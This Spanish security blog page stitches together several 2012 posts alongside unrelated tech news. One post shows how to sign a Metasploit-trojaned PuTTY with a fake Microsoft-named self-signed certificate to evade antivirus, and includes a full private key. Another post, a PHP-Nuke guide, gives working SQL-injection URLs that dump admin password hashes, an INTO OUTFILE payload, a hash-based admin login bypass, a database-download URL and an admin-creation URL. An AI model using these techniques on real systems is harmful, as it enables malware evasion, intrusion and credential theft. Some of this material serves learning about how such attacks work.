Ut7ykKt9hgd0g1v7K9Uq2DDJ/VcHsNShOdNVBaElLe6H8oxf18nSE881PAUyixd9
vfe9jFuWpcY3GWbRh+/rHq3LXQaWXR4qx8gPdsyHwENrqg3xgMW3gEc/IC1QGwq+
K+akMmsgQdSQwxmC13OOsBw1KJyORkn4PuVIxRY8PBSwd/eFQcZnt+LIJ/W7kGT2
WCU523ixcfN4XfpGHb06DaRVsd5/WvODsYV7xs3taQa8kfW9HF5RNWs4s304qU/s
/emlv+mhscn6R9r7hzQe2J/qilZ/4wp6+M7t3RwbbyrdHKQqO8P+VF+c7Hy18Vah
dWinZEgQ+6SIzm8x54E35uKXquuhnE276mwJEXiFoQSVsO5JQRfGBLaHL03yiWxE
vXDyfIJi/zBDWL5ARQK4I0vVqZf2m71Dha4/KibCb2rfJYB9lqgstoOQq4ydszPE
SVB6AwplI3NDwISxoh8QxaVwgJvS9gHnQgzpyEpdG2pXOQR7vzhp481rOPeneI7z
XxXTjR3xfeh4fghQfF31RDn6kSK7MikFw3F1E1ZML2IxogvDsUrwRlzGh4pF9TMh
EozcoDAwLTkBjgnTkLHjw8/S8awSnHJQh4s2i0wUvVoP7Xv46gtgFvvJ3bdo0/ID
Z+468Lkg0QEk3LSkn9ANajIs6b8NGkvOZIRJJGlLof7bbuW/Vdo1ehLS4kKCXxea
0BBmRfkmPXa/pzpG8ls19dfoIy6ZgiqossNNpDaRRLOd+zzpxiCxCYuOPV6BV2TF
v34wwwvP//8/OrCt5FQqVU2kDjN716Y/5VJ2TQ3qunev5otH+pa9S2q2kZXLfayT
17Mwj/GQNoJsfG4tq3Rb/45ponFzZDO1N+kXhqIBhZvrC+0Q6yBNoIAbJ8BJHNUF
DdpMEDsjT+Xz36fnaPa/iuq5OAf4bibrYUdGk0OiI2i4cCtl8QWFcdd4GmJuLl3g
TW3O7y0GtfrQ58UKGv8HxP++45+sGT5k7x/UXEDyZ+mgzCBGYHWsC2xOoZow9INB
OEN2tmLBzHD4qneVF60UMwt/QCJns17SgeVczcjfe0tyxt9y7+nS39u2tay96TXN
zPIXyCUh3OvFR9s7Jeg5tBoGLGtVbnF+DW70A2oKPgbDaTuy/m1OCqxb4IZVIwIL
fkBdYK6+eRpUfeWqFT1bUHw70aHmfaHg7lmQS9wNFCXijNfnFjpMvJrIh+rpCh11
muNHKmqGX1HQ46vAaC+eBkhcumsJCyJxHPSAnOKPzx2wf3PETeZguAv6nOjCi6fx
hmz7vDofZ++J0e/mFywMf6nJ0/0PTXs4bG4mnb6GUKn9kjQ0aSDwdjeyw1Gypooe
kexUgs+W/znswoWp9yQ1NkL0y9R2GELdZRNvUwuA2aZOStYj/0ljyw==
-----END RSA PRIVATE KEY-----

Después necesitaremos convertir la clave a formato binario .der (ASN.1 BER-encoded):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl rsa -in clave.pem -out clave.der -outform DER 
Enter pass phrase for clave.pem:
writing RSA key
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.der 
clave.der: data

Si echamos un vistazo a este formato obtendremos una salida ilegible, que siempre suelen comenzar con un carácter '0' (0x30).
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.der 
0? ?   ?  ??W?r& ???H?NWT+?h??91`?~?? ui???d >?"     0?bc?m??z`? 5T2J?.??PD??w$?d6dU[ 
                                                                                         ?:Th8???    \?|]?u?????C?X????? ?????e }?m???JI ?=?NZ)?H???R??Zy@?tc?0?B ???? 2?,??? ?:?  ?0? ?"?'? :dN????! ?n?s?????/^?p??J?'F????  8????j?k ^ "ffP??%?.???      ?  #??1??wb????rgw}Z\8
???9?bT
        ?P =@??0???bR?? 71??I ??/?!???J1; ?; ??4@ v?>:br@?8???@55??      S NF?D??????
                                                                                      ???38h?k? $3oV??s?5
b< ??W@.Yq?????mM????>1??e????:???r?A????6?? ???3?? ?????! ?T                                            ??)2?3 Z<,?
                                                             ?p??i?P????5??????=?e]?*?9 ?????,?[???d?? ??n?+?k8?U?+ b ???rsj??o?? ????o
           ??g?E?wZ?9?e?\D?P?m?????"<` ?$p9??)??g ?r #???(?Rcqb#iX?F?:?:Aux???r? ??????5G?  A&?/d*??
                                                                                                   ??,/F?e -|??6L?t?_? ?????????J??? ???1?šT?D?H%?? ???$?[9  ?Am?T ?YN
??}?L???[?
          aM? U ??vb?m??? ?v?l???&?
                                    ?S??                                                             N 0???+X ~?j?YC??C ???Ck%???? ???0?q9Y?? ?6l? ????e)|??1??f??l'?? a?[D????bI?? ?T -??q ???+??:?k???8J?eU \    |%
root@bt:/home/pruebas/avbypass/osslsigncode-1.4#
Ahora que ya tenemos nuestra clave, procederemos a crear el certificado autofirmado:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl req -new -x509 -key clave.pem -out certificado.pem -days 365
Enter pass phrase for clave.pem:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:LA
Locality Name (eg, city) []:Los Angeles
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft
Organizational Unit Name (eg, section) []:IT
Common Name (eg, YOUR name) []:Bill Troy
Email Address []:btroy_r@microsoft.com
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.pem 
certificado.pem: PEM certificate
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat certificado.pem 
-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAJPHifiZZJzbMA0GCSqGSIb3DQEBBQUAMIGLMQswCQYD
VQQGEwJVUzELMAkGA1UECBMCTEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYD
VQQKEwlNaWNyb3NvZnQxCzAJBgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kx
JDAiBgkqhkiG9w0BCQEWFWJ0cm95X3JAbWljcm9zb2Z0LmNvbTAeFw0xMjExMTUx
MTUxMjZaFw0xMzExMTUxMTUxMjZaMIGLMQswCQYDVQQGEwJVUzELMAkGA1UECBMC
TEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYDVQQKEwlNaWNyb3NvZnQxCzAJ
BgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kxJDAiBgkqhkiG9w0BCQEWFWJ0
cm95X3JAbWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJfqsphXhHImA+mkx0iOONhOV1Qrt2jG1Y45MWCwfpTpHXVp5djIZB8+iiIe
CTDKYmPKbfOAemCAEzVUMkrrLqezUETPvrZ3JKVkNmRVDlsEDKA6VGg45v3yCVyS
fF3cdeHyreGuQ8ZYpdq50NvYEIuUp+zjZRt92m2cow/dB0pJBtY9nE4PWin7SIPR
tshSqgjVjsVaeUDfr3Rj9zDrQhy018CRGjIO5SyZiK0a4Tr6AhymMIEEpyKUJ4oQ
OmROgNOiBfHjq6UhENmfbtZzot7zs4yyjS9ezXC3gErhJ86muYJ/+MsGHzi5gdWl
lmqiayBeFSJmZlCdgCWHLqfY4BMCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUQb61nshB
TDi8FQh7JoqY5+/RF1gwgcAGA1UdIwSBuDCBtYAUQb61nshBTDi8FQh7JoqY5+/R
F1ihgZGkgY4wgYsxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJMQTEUMBIGA1UEBxML
TG9zIEFuZ2VsZXMxEjAQBgNVBAoTCU1pY3Jvc29mdDELMAkGA1UECxMCSVQxEjAQ
BgNVBAMTCUJpbGwgVHJveTEkMCIGCSqGSIb3DQEJARYVYnRyb3lfckBtaWNyb3Nv
ZnQuY29tggkAk8eJ+JlknNswDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOC
AQEADGyRrAUJ2tTA5yMcn6NkfafLhUyUG7iWxs4EV+2NzE4pci/Qs/xK7So7Fz+y
qO5EarNY+WnH/MnFg1juCQ2K6UBf0NLFDMzNI5QjSngDntHLF9QHqjIldhm45khk
5SnOXDQS//M2q0gIJq4MOvNtctVyZOTHNK3PHvrpf3zFuwPWAUwgl4uKhWOCRIat
D1SsS/zBeda1oJU8B1TbfGiZqhjfuCEjtPLCLNRU/hksxJBeeA6yMhiR9KlDQTzB
tuH+yhK/IrqaW3P9o2KzeTCDl/vvLTmjRVqx4Ttwq8NCUmXV28/WVafr2noDXe62
+6r83DASXtVxvdQXhODI3TLdYA==
-----END CERTIFICATE-----

Antes de utilizar osslsigncode, necesitamos convertir el certificado al formato de la CryptoAPI de Microsoft, obteniendo como resultado un fichero con extensión .spc (Software Publisher's Certificate):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl crl2pkcs7 -nocrl -certfile certificado.pem -outform DER -out certificado.spc
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.spc 
certificado.spc: data

Ya podemos firmar el ejecutable:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# osslsigncode -spc certificado.spc -key clave.der -n "Putty" -i http://www.chiark.greenend.org.uk/ -in evilputty.exe -out evilputty-firmado.exe
Succeeded
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file evilputty-firmado.exe 
evilputty-firmado.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Ahora veamos el análisis de los ejecutables mediante VirusTotal. Como véis, nuestro "putty maligno" tiene una alta tasa de detección:

https://www.virustotal.com/file/4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89/analysis/1352982503/
SHA256:     4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89
Nombre:     evilputty.exe
Detecciones:     28 / 44

Finalmente la prueba de fuego... analizamos también nuestro "putty maligno" auto-firmado:

https://www.virustotal.com/file/777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8/analysis/1352982351/
evilputty-firmado.exe
SHA256:     777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

¡Tres antivirus no detectan el payload de Metasploit: ByteHero y (nada más y nada menos) que Avira AntiVir y Avast!!

Pero espera, espera, que no acabamos... para los amantes de M$ podemos repetir las pruebas con signtool:
D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>makecert -r -pe -$ individual -n CN=TEST1 -sv test1.pvk test1.cer
Succeeded

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>pvk2pfx -pvk test1.pvk -spc test1.cer -pfx test1.pfx

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty.exe

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty-firmado.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty-firmado.exe

https://www.virustotal.com/file/2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444/analysis/1353001810/
SHA256:     2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

Y obtenemos los mismos resultados... ¿o qué creías? ;)

Script en Perl para mantener listas de proxies abiertos


Los proxies abiertos (y encadenados) pueden ser útiles para manterner el anonimato en Internet, casi siempre no con muy "buenos" propósitos ;)
¿Cómo encontrar proxies abiertos? Es fácil si sabes cómo... No en serio, ya sabéis que hay un montón de listas disponibles en Internet. Por ejemplo, diariamente se publican listas en pastebin.com. Otros sitios están dedicados al negocio de la recopilación de enormes listas como www.freeproxylists.com o www.xroxy.com e incluso este último proporciona actualizaciones vía RSS (XML). Por supuesto, la mayoría de ellos proponen pagar por sus servicios...

La cuestión aquí es la fiabilidad de los proxies abiertos publicados. xroxy facilita un indicador de fiabilidad (0-100%), pero muchas veces los proxies no están disponibles o rechazan las conexiones.

Xavier Mertens ha publicado un pequeño script en Perl para mantener una lista de proxies abiertos fucnionales. El script se llama oplb (Open Proxies List Builder) y se basa en el agregador PHP de RSS de xroxy.com. Los proxies se almacenan en una base de datos SQLite y el script mediante un cron chequea regularmente su disponibidad mediante el módulo perl WWW:ProxyChecker. Si no quieres obtener nuevos proxies publicados por xroxy.com también tienes un modo manual para generar y mantener tu propia lista:


$ ./oplb.pl --help
Usage: ./oplb.pl [--debug] [--dump] [--force] [--help]
                 [--reliability=percent] [--ttl=seconds]
Where:
--debug : Produce verbose output
--dump : Generate a list of reliable proxies (stdout)
--force : Ignore TTL and force a check of the xroxy.com RSS feed
--reliability=x : Define minimum reliability for proxies
--ttl=x : TTL for xroxy.com RSS feed update (default: 3600)


Por ejemplo, puedes crear un crontab para buscar nuevos proxies cada hora con una fiabilidad mayor al 90%:

*/15 * * * * oplb.pl --reliability=90 --ttl=3600


Para volcar la lista de proxies fiables obtenidos:

$ ./oplb.pl --dump --reliability=90
122.72.28.19:80
122.72.33.138:80
122.72.33.139:80
219.159.105.180:8080
196.1.178.254:3128
192.162.150.77:8080
88.85.108.16:8080
202.112.117.202:3128
59.172.208.186:8080
41.191.27.226:80
114.79.159.2:8080


Sólo son mostrados los proxies chequeados al menos una vez durante los últimos 3 días, una lista preparada para ser utilizada por otras herramientas...


Fuente: Manage an Efficient List of Open Proxies
 
Script: https://github.com/xme/oplb/blob/master/oplb.pl 




lunes, 19 de noviembre de 2012

Científicos Crean Un Cable Capaz De "Conectar" El Cerebro A Una Computadora



Científicos de la Universidad de Michigan, han logrado crear algo que parecía imposible: un delgadísimo cable capaz de "conectar" directamente el cerebro humano a una computadora. El dispositivo es tan preciso que puede conectarse, incluso, a células individuales.

El sorprendente estudio fue publicado esta semana en Nature Materials.

El cable en sí es un filamento de carbono revestido de plástico, de modo que las señales eléctricas de las neuronas no causen molestas interferencias no deseadas. En uno de sus extremos, el cable está impregnado con un gel cuya finalidad es la de acoplarse a la perfección con las membranas de las células cerebrales y transmitir y recibir de ellas señales eléctricas. El otro extremo está conectado a una computadora, de forma que las señales que emite el cerebro llegan directamente a la máquina, y con una extraordinaria claridad.
"El electrodo tiene un diámetro aproximado de 0,007 milímetros (siete micras), mucho menos que el de sus más directos competidores, que tienen entre 25 y 100 micras", explica Nicholas Kotov, uno de los desarrolladores del dispositivo.
A diferencia de los dispositivos anteriores, que podían llegar a dañar las neuronas cercanas a aquellas con las que se quiere conectar, el nuevo electrodo es mucho más preciso y tiene, además, la ventaja de que el otro extremo (el que no está en el cerebro) puede conectarse a cualquier clase de dispositivo, por ejemplo a una prótesis.

Kipke hizo hincapié en que el electrodo que desarrolló el equipo de investigadores no es un dispositivo preparado para un ensayo clínico, pero demuestra que los esfuerzos para reducir el tamaño de los electrodos hacia el tamaño de las células cerebrales están dando sus frutos.

El ingenio ya ha sido probado en ratones y ha dado, hasta ahora, unos resultados excelentes. Pero los propios autores del artículo aclaran que aún es pronto para empezar a utilizarlo con seres humanos.

Cuando por fin se logre, el dispositivo contribuirá a revelar un buen número de misterios que aún envuelven al cerebro y su funcionamiento.
"¿Cómo se comunican las neuronas entre sí y cuáles son las vías de procesamiento de la información en el cerebro? Estas son las preguntas que se pueden responder en el futuro con este tipo de técnica", dijo Kotov.

Uno de los mayores problemas aún sin resolver es el de la duración del electrodo. En efecto, para que pueda ser utilizado, por ejemplo, con una prótesis, el cable debería resistir sin degradarse durante años enteros mientras está conectado al cerebro del paciente. Pero hasta ahora los experimentos sólo han durado seis semanas, por lo que se desconoce cómo puede evolucionar el cable durante periodos más largos.

"Los resultados sugieren que la creación de electrodos en estas pequeñas dimensiones, es un camino viable hacia adelante para lograr la creación de dispositivos más duraderos", comentó el investigador.

Las pruebas, a pesar de todo, resultan esperanzadoras. Las neuronas y el sistema inmune de los ratones se acostumbraron a los electrodos después de apenas dos semanas, lo cual indica que estos "invasores electrónicos" podrían seguir funcionando sin problemas durante un largo tiempo.
"Gracias a que estos artefactos son tan pequeños -asegura por su parte Takashi Kozai, que ha dirigido la investigación - podremos combinarlos con nuevas técnicas ópticas para observar directamente, por primera vez, cómo se comportan y qué hacen las células cerebrales cuando se comunican entre sí".
Aunque, según los propios investigadores, será necesaria casi una década más para que la tecnología pueda comercializarse y ser utilizada de forma masiva.


Cortesía: Siente Panamá

sábado, 17 de noviembre de 2012

BlackBerry Messenger permitirá llamadas gratuitas de voz

 
 ‘BlackBerry’ y ‘telefonía IP’ son dos conceptos que hasta hoy no encajaban en la misma frase. El correo electrónico, la mensajería instantánea y otros servicios de comunicación a través de Internet ya funcionaban en la plataforma de RIM, pero sus buenas relaciones con las operadoras hacían que las llamadas de voz se canalizasen siempre a través de la red celular; es decir, consumiendo minutos en la factura mensual. Por eso los servicios como Skype no son completamente funcionales en los dispositivos BlackBerry. Sin embargo, los tiempos cambian: con la nueva versión 7 de BBM, los usuarios de BlackBerry podrán podrán mantener conversaciones de voz a través de una conexión WiFi a Internet.

RIM ha anunciado el lanzamiento inminente de BlackBerry Messenger 7, una nueva versión de su aplicación de mensajería instantánea que incorporará la función BBM Voice para establecer de manera gratuita conversaciones de voz con otros usuarios de BBM, conectados a Internet mediante WiFi. Según RIM, BBM Voice permitirá llamar directamente a otro contacto de BBM, o bien alternar entre voz y texto durante una sesión de chat de BBM. Asimismo, durante las llamadas con BBM Voice se podrán realizar las operaciones habituales en BBM, como enviar ficheros o utilizar otras funciones del smartphone, como consultar el correo. Asimismo, BBM Voice permitirá usar los accesorios y las funciones normales de llamada de voz, como auriculares -con o sin cable- y el manos libres.

BBM 7 sólo funcionará inicialmente en terminales con la versión 6 del sistema operativo BlackBerry OS (y es de suponer que también en los futuros modelos con BlackBerry 10), pero RIM asegura que lo extenderá también a los dispositivos con la versión 5. También indica que ya se puede descargar una versión preliminar de la aplicación, pero yo aún no he conseguido hacerlo. Cuando pueda, me interesará especialmente ver cómo se integran las nuevas funciones de voz con el listín de contactos del terminal, aunque parece que el identificador de usuario será su BlackBerry ID.
 
La incorporación de funciones de voz sobre IP en BlackBerry constituye una pequeña revolución para los usuarios de esta plataforma. Con ella, RIM entra en competencia con otros servicios de comunicaciones integradas, desde el citado Skype de Microsoft (que aspira a atraer a los usuarios que le quedan a MSN Messenger) hasta Google Talk, pasando por el iMessage/FaceTime de Apple, otra plataforma restringida -como la de BlackBerry- a los poseedores de equipos de una marca determinada. En el caso de RIM, y en comparación con los servicios indicados, el eslabón pendiente es la imposibilidad de uso desde ordenadores… aunque el éxito de WhatsApp y otros servicios disponibles exclusivamente en el móvil parece indicar que eso importa cada vez menos a los consumidores.

En cuanto a la comunicación de voz a través de WiFi, será interesante ver cómo aborda RIM el incremento del tráfico que previsiblemente deberá atender su infraestructura. No queda claro si las conversaciones de voz también estarán cifradas para evitar que sean interceptadas. La seguridad, que muchos servicios de la última hornada ignoran tan alegremente, es uno de los principales activos de BlackBerry en general y de BBM en particular, y muy apreciado en las empresas.

Fuente: http://www.eleconomista.es/CanalPDA/...raves-de-wifi/

Bug peligroso ante el atake de los "J-U-A-K-E-R-S"

En muchos sitios esta dando vuelta la noticia de una nueva falla en el , que permite tomar el control de todo el sistema.
Pero hay cosas que muchos no tiene claro todavía, por eso aquí las explico, y doy mas detalles sobre el tema…..
Te puede descargar los ya modificados AQUÍ

Primero: La falla NO es en el archivo modules.php, sino
que esta presente en los módulos Downloads y Weblinks, entre otros. El archivo modules.php solo se encarga de incluir los archivos de cada modulo para que así la URL quede mas presentable.

Por eso el advisorie:
http://www.securityfocus.com/archive/1/340664

Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:
Segundo: Esta falla no tiene nada de nueva, ya que es la misma
descubierta para las versiones:


- PHP-Nuke 6.0
- PHP-Nuke 6.5 RC3
- PHP-Nuke 6.5 RC2
- PHP-Nuke 6.5 RC1
- PHP-Nuke 6.5 FINAL
- PHP-Nuke 6.5 1
- PHP-Nuke 6.5
- PHP-Nuke 6.5 with all patches ,
- PHP-Nuke 6.0 with all patches.
- PHP-Nuke 5.5 with all patches

Es por eso que insisto en que no es una nueva falla, ya que en las ultimas versiones del PHP-Nuke se viene usando los mismo módulos de esas versiones anteriormente citadas, y que no han sido parcheadas, por eso es que son vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9, según he comprobado.
No son solo los módulos Downloads y WebLinks, sino todo aquel modulo o pagina que no controle correctamente sus variables.
Una forma rápida y fácil de solucionar esto es controlando el de las variables de la siguiente forma:

# $variable es la que debemos controlar, así que cambia su nombre según te convenga icon wink Bug peligroso ante el atake de los hackers (noticia de la Web antigua)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}


Inyección SQL en PHP-Nuke y Spaiz-Nuke

Eso en el caso de que deba ser numérica, sino basta con quitar el !is_numeric($variable) de la condición del IF.
Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotación de las falla, que no solo sirve para hacer daño, sino que les permitirá testar sus sistemas y saber como solucionar este tipo de fallas.
Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña inserción de código SQL, en las variables $cid de los módulos en cuestión. Por ejemplo:

Para el Módulo Download:

http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20
 
Para el Módulo WebLinks:

http://victima-nukeada/modules.php?name=_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20
Nota: Para que funcione en Spaiz-Nuke debes cambiar
nuke_authors por spnuke_authors


en el archivo auth.php:

Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testado en spaiz-nuke)
En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las ”, es posible crear una URL como esta:
http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin’%20INTO%20OUTFILE%20′/path_to_file/pwd.txt

En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en ) del admin.

Accediendo con la contraseña encriptada:

Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado.
El método es el siguiente:
Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los módulos como en el auth.php, debemos codificar en base64 el usuario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).
Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo en una web como esta:

http://www.isecurelabs.com/base64.php
http://www.rzw.com.ar/base64nuke.php icon wink Bug peligroso ante el atake de los hackers (noticia de la Web antigua) 

Buscamos el equivalente en base64 de la siguiente linea:
login:crypt_.passwd:

donde login es el usuario y crypt_.passwd es la contraseña en MD5
Por ejemplo, con esta línea

admin:21232f297a57a5a743894a0e4a801fc3:
obtendríamos algo así:


YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Ahora podemos acceder al panel del administrador usando una URL de este tipo:

http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Una vez dentro te darás cuenta que cuando quieres acceder a cada opción del panel de control te volverá a pedir el password, lo único que tienes que hacer, es copiar el enlace de la sección a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administración.

Por ejemplo:



Para bajarte la base de datos:


http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6


Creando Admins:

Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL, podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:

http://rst.void.ru/download/r57nuke.txt

Exploit en PHP en Rynho Zeros Web:

http://www.rzw.com.ar/xptnk.php (Usar con moderación icon wink Bug peligroso ante el atake de los hackers (noticia de la Web antigua) 

Puedes hacer esto también, mediante un enlace como el siguiente:
http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]
Nick corresponde al que tendrá el nuevo admin, el email lo mismo, el password debe ser colocado en texto plano no el hash, y el Hash, es el obtenido utilizando alguno de los métodos anteriormente explicados y correspondiente al admin del sitio, preferentemente el God (Admin Principal).
Basado en:

http://www.security.nnov.ru/search/document.asp?docid=5201

http://www.cyruxnet.com.ar/phpnuke_modules.htm

Aclaración: Este articulo esta basado en el que Cyruxnet
publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables del mal uso que se haga de lo aquí explicado.



Por CATOSINO